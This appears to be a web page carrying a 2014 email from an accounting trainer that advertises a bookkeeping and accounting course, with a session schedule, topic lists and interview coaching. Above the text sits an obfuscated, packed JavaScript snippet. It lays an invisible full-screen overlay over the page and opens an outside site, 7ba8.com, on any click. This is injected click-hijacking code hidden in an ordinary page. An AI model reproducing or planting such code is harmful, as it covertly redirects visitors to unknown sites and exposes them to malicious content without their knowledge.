<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Hi all, 
 
How are you doing? 
 
Recently we are organizing a new round of practical training and internship program. Please find the class schedule and course list below. If you have any interest, please do not hesitate to contact me for more information. 
 
Please note, we provide a free trial session. So there is no loss if you give it a go before you make decision. 
 
 
9.00am        9.00am 
26/05/2014        27/05/2014 
No class        AR 
2/06/2014        3/06/2014 
AP        Bank Rec/CC Rec 
9/06/2014        10/06/2014 
Payroll        BAS 
16/06/2014        17/06/2014 
FAR        Prepmt/Accrual 
23/06/2014        24/06/2014 
GL Rec        Forex/Inter-co transactions 
30/06/2014          
P&L Analysis/Budget/Cash flow forecast          
  
 
  
 
 
 Bookkeeping 
 
 
Session 1: AP 
 
 
Accounts payable control procedures in a corporate environment. 
Practical skills required for accounts payable officer – batching, matching, coding tax invoices. 
Data processing in MYOB. 
Organize payment with M-Power function of MYOB. 
 
Session 2: AR 
 
 
Accounts receivable control procedures in a corporate environment. 
Sales processing in MYOB. 
Payment collection. 
 
Session 3: Reconciliation. 
 
 
Credit card reconciliation 
Bank reconciliation 
 
Session 4: Payroll 
 
 
Payroll. 
Superannuation. 
PAYG withholding tax. 
Payroll tax processing. 
Employee termination. 
 
Session 5: BAS 
 
 
GST reconciliation. 
BAS. 
IAS processing. 
GST clearing journals after BAS lodgement. 
 
  
 
 
Assistant Accountant 
 
Session 1: FAR Management 
 
 
Fixed asset allocation. 
Fixed assets register updating. 
Fixed assets disposal. 
Journal processing. 
Fixed assets related accounts reconciliation. 
 
Session 2: Prepayment and accrual 
 
 
Prepayment- prepayment reorganization, spread sheet updating, journal processing. 
Accrual – accrual journals and reconciliation. 
 
Session 3: Other Balance sheet item reconciliation 
 
 
Other Balance sheet items reconciliation – GST, PAYG and superannuation. 
 
Session 4: Reports analysis, foreign currency transactions and intercompany transactions 
 
 
Profit & loss report analysis. 
Foreign currency gain and loss. 
Intercompany transactions. 
 
Session 5: Budgeting and forecast, cash flow forecasting and planning and audit assistance 
 
 
Budgeting and forecast. 
Cash flow forecasting and planning. 
Audi assistance. 
 
Assistant Management Accountant 
 
Session 1: Inventory control procedures 
 
 
Set up SKU and inventory items in system. 
Inventory purchase and sales processing. 
Inventory reports analysis. 
 
Session 2: Inventory related accounts management and reconciliation 
 
 
Inventory accounts reconciliation. 
Inventory adjustment and revaluation. 
COGS accounts management. 
 
 Business services/ Public practice 
 
 
ATO Payment Analysis 
BAS Reporting & Practice 
Basic Double Entry Theory & Practice 
Partnership Accounts & Tax Return 
Advanced Double Entry Adjustment, Reconciliation & Practice 
Company Accounts & Tax Return 
Division 7A issues and Case Analysis + Practice 
FBT Calculation & FBT Return & Practice 
Franking System & Practice 
GST analysis & Practice & Annual GST Return 
Trust Accounts & Tax Return 
Capital Gains Calculation and Treatment on Various entities 
Basic Individual Tax Return  
Comprehensive Individual Tax Return 
Group Structure Accounts & Tax 
Basic Tax Planning 
Resume & interview guidance 
 
Interview 
 
Pre-start: 
 
 
Send resume to trainer 
Trainer to go over resume 
Research/job hunt 
 
Session One: (two hours) 
 
 
Introduction 
Resume review, hints 
Do’s and don’ts 
Go over interview questions (types) 
Questions – how to answer 
Questions – behavioural 
 
Session Two: (two hours) 
 
 
Review 
Phone interview basics 
Prepare answers for behavioural questions 
Prepare answers for technical questions according to your abilities 
 
Session Three: (two hours) 
 
 
Review 
Phone and face to face interview rehearsal 
 
  
 
 
Note: the list above includes all courses we provide. For your individual schedule, please refer to the course you enrolled. 
 
Regards, 
 
Rachel Hao 
 
Vision Accounting 
 
0451 944 868 
 
 
  
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